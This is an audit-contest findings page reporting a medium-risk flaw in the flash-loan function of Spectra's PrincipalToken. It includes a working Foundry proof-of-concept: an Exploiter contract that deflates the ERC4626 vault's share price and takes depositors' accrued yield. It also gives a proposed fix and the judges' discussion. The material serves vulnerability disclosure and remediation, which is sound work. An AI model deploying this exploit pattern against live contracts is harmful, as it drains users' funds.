Spectra - Arabadzhiev's results

A permissionless interest rate derivatives protocol on Ethereum.

General Information

Platform: Code4rena

Start Date: 23/02/2024

Pot Size: $36,500 USDC

Total HM: 2

Participants: 39

Period: 7 days

Judge: Dravee

Id: 338

League: ETH

Spectra

Findings Distribution

Researcher Performance

Rank: 1/39

Findings: 1

Award: $8,807.03

🌟 Selected for report: 1

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: Arabadzhiev

Also found by: ArmedGoose, blutorque

Labels

bug
2 (Med Risk)
downgraded by judge
primary issue
satisfactory
selected for report
sufficient quality report
edited-by-warden
:robot:_62_group
M-02

Awards

8807.0294 USDC - $8,807.03

External Links

Lines of code

https://github.com/code-423n4/2024-02-spectra/blob/383202d0b84985122fe1ba53cfbbb68f18ba3986/src/tokens/PrincipalToken.sol#L609-L631

Vulnerability details

Impact

The current implementation of the PrincipalToken has a flash lending functionality:

    function flashLoan(
        IERC3156FlashBorrower _receiver,
        address _token,
        uint256 _amount,
        bytes calldata _data
    ) external override returns (bool) {
        if (_amount > maxFlashLoan(_token)) revert FlashLoanExceedsMaxAmount();

        uint256 fee = flashFee(_token, _amount);
        _updateFees(fee);

        // Initiate the flash loan by lending the requested IBT amount
        IERC20(ibt).safeTransfer(address(_receiver), _amount);

        // Execute the flash loan
        if (_receiver.onFlashLoan(msg.sender, _token, _amount, fee, _data) != ON_FLASH_LOAN)
            revert FlashLoanCallbackFailed();

        // Repay the debt + fee
        IERC20(ibt).safeTransferFrom(address(_receiver), address(this), _amount + fee);

        return true;
    }

And as of now, this functionality is implemented in such a way, that it allows users to borrow the whole IBT balance of the PrincipalToken permissionlessly:

    function maxFlashLoan(address _token) public view override returns (uint256) {
        if (_token != ibt) {
            return 0;
        }
        // Entire IBT balance of the contract can be borrowed
        return IERC4626(ibt).balanceOf(address(this));
    }

This is fine on it's own and it works as it should. However there is a specific case where it can be abused. If the IBT vault prices its shares using the following formula:

sharePrice=totalAssetstotalSharessharePrice = {totalAssets \over totalShares}

Then, it will fall-back to some default price value when its totalAssets and totalShares values are equal to zero. Most usually that is the value of 1. Such is the case with the OpenZeppelin ERC4626 vault implementation, which is the most commonly used ERC4626 base implementation:

    function _convertToAssets(uint256 shares, Math.Rounding rounding) internal view virtual returns (uint256) {
        return shares.mulDiv(totalAssets() + 1, totalSupply() + 10 ** _decimalsOffset(), rounding);
    }

In that case, if the PerincipalToken contract happens to hold all of the IBT supply, a malicious lender can come in and perform the following exploit:

1. Take a flash loan from the PrincipalToken contract that is exactly equal to its IBT balance 2. Redeem all of the borrowed shares in the IBT vault for their underlying asset value 3. Mint back the borrowed IBT shares + the required flash loan fee shares from the vault 4. Pay back the flash loan + the flash loan fee

What has just happened in the above described scenario is that the malicious lender has successfully reset the IBT vault share price to its default value, by redeeming all of the vault's shares for all of its underlying assets. Then, they have minted back the previously redeemed shares plus the required flash loan fee shares at the default price and finally paid back the flash loan with those. Ultimately, what the attacker managed to accomplish is that they managed to get totalIBTSupply * (initialIBTPrice - defaultIBTPrice) of underlying IBT assets at the expense of a single flash loan fee, while leaving the PerincipalToken contract's users with a massive loss. More specifically, the users of the contract will lose all of their accumulated yield and potentially even more than that, depending on the IBT price at which they deposited into the PT and how far down it will be able to be deflated.

Proof of Concept

The following Foundry PoC test demonstrates how the scenario outlined in the "Impact" section could play out, using Solidity code. It is written on top of the PrincipalToken4 test suite contract, which uses an instance of the MockIBT2 contract as its IBT token, which uses the same share pricing mechanism as the one described above.

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.20;

import {ContractPrincipalToken} from "./PrincipalToken4.t.sol";
import "openzeppelin-contracts/interfaces/IERC4626.sol";
import "openzeppelin-contracts/interfaces/IERC3156FlashBorrower.sol";

contract PrincipalTokenIBTDelfation is ContractPrincipalToken {
    function testDeflateIBTVault() public {
        // TEST_USER_1 deposits 1 IBT into the principal token contract
        vm.startPrank(TEST_USER_1);
        underlying.mint(TEST_USER_1, 1e18 - 1); // -1 because TEST_USER_1 already has 1 wei of IBT
        underlying.approve(address(ibt), 1e18 - 1);
        ibt.deposit(1e18 - 1, TEST_USER_1);
        ibt.approve(address(principalToken), 1e18);
        principalToken.depositIBT(1e18, TEST_USER_1);
        vm.stopPrank();

        // TEST_USER_2 deposits 9 IBT into the principal token contract
        vm.startPrank(TEST_USER_2);
        underlying.mint(TEST_USER_2, 9e18);
        underlying.approve(address(ibt), 9e18);
        ibt.deposit(9e18, TEST_USER_2);
        ibt.approve(address(principalToken), 9e18);
        principalToken.depositIBT(9e18, TEST_USER_2);
        vm.stopPrank();

        // Simulate vault interest accrual by manualy inflating the share price
        vm.startPrank(TEST_USER_3);
        uint256 generatedYield = 10e18;
        underlying.mint(TEST_USER_3, generatedYield);
        underlying.transfer(address(ibt), generatedYield);
        vm.stopPrank();

        // Execute exploit using the Exploiter contract
        Exploiter exploiterContract = new Exploiter();
        uint256 underlyingBalanceBeforeExploit = underlying.balanceOf(address(exploiterContract));
        principalToken.flashLoan(exploiterContract, address(ibt), 10e18, "");
        uint256 underlyingBalanceAfterExploit = underlying.balanceOf(address(exploiterContract));

        assertEq(underlyingBalanceBeforeExploit, 0);
        assertEq(underlyingBalanceAfterExploit, generatedYield); // All of the generated yield got stollen by the attacker
    }
}

contract Exploiter is IERC3156FlashBorrower {
    function onFlashLoan(
        address initiator,
        address token,
        uint256 amount,
        uint256 fee,
        bytes calldata data
    ) external returns (bytes32) {
        IERC4626 ibt = IERC4626(token);

        ibt.redeem(amount, address(this), address(this));

        IERC20(ibt.asset()).approve(address(ibt), type(uint256).max);
        ibt.mint(amount + fee, address(this));

        ibt.approve(msg.sender, amount + fee);
        return keccak256("ERC3156FlashBorrower.onFlashLoan");
    }
}

Tools Used

Manual Review

In the PrincipalToken::flashLoan function, verify that the IBT rate/price has not decreased once the flash loan has been repaid:

    function flashLoan(
        IERC3156FlashBorrower _receiver,
        address _token,
        uint256 _amount,
        bytes calldata _data
    ) external override returns (bool) {
        if (_amount > maxFlashLoan(_token)) revert FlashLoanExceedsMaxAmount();

        uint256 fee = flashFee(_token, _amount);
        _updateFees(fee);

+       uint256 initialIBTRate = IERC4626(ibt).convertToAssets(ibtUnit);

        // Initiate the flash loan by lending the requested IBT amount
        IERC20(ibt).safeTransfer(address(_receiver), _amount);

        // Execute the flash loan
        if (_receiver.onFlashLoan(msg.sender, _token, _amount, fee, _data) != ON_FLASH_LOAN)
            revert FlashLoanCallbackFailed();

        // Repay the debt + fee
        IERC20(ibt).safeTransferFrom(address(_receiver), address(this), _amount + fee);

+       uint256 postLoanRepaymentIBTRate = IERC4626(ibt).convertToAssets(ibtUnit);

+       if (postLoanRepaymentIBTRate < initialIBTRate) revert FlashLoanDecreasedIBTRate();

        return true;
    }

Assessed type

ERC4626

#0 - c4-pre-sort

2024-03-03T10:52:52Z

gzeon-c4 marked the issue as duplicate of #240

#1 - c4-pre-sort

2024-03-03T10:52:55Z

gzeon-c4 marked the issue as sufficient quality report

#2 - c4-judge

2024-03-11T01:10:48Z

JustDravee marked the issue as unsatisfactory: Invalid

#3 - c4-judge

2024-03-15T11:35:04Z

JustDravee marked the issue as selected for report

#4 - c4-judge

2024-03-15T11:35:13Z

JustDravee changed the severity to 2 (Med Risk)

#5 - JustDravee

2024-03-15T11:38:44Z

As per the conversation with the sponsor under https://github.com/code-423n4/2024-02-spectra-findings/issues/240 and given that the sponsor agreed that the finding could either be low or medium, I'll acknowledge this bug as being more than a low. Although the edge case was mentioned to be unlikely, there's still value in the mitigation (we never know how this could turn out to be further exploited) Selecting the current report as it's the most complete (although the remediation is too restrictive)

#6 - c4-judge

2024-03-15T15:22:53Z

JustDravee marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter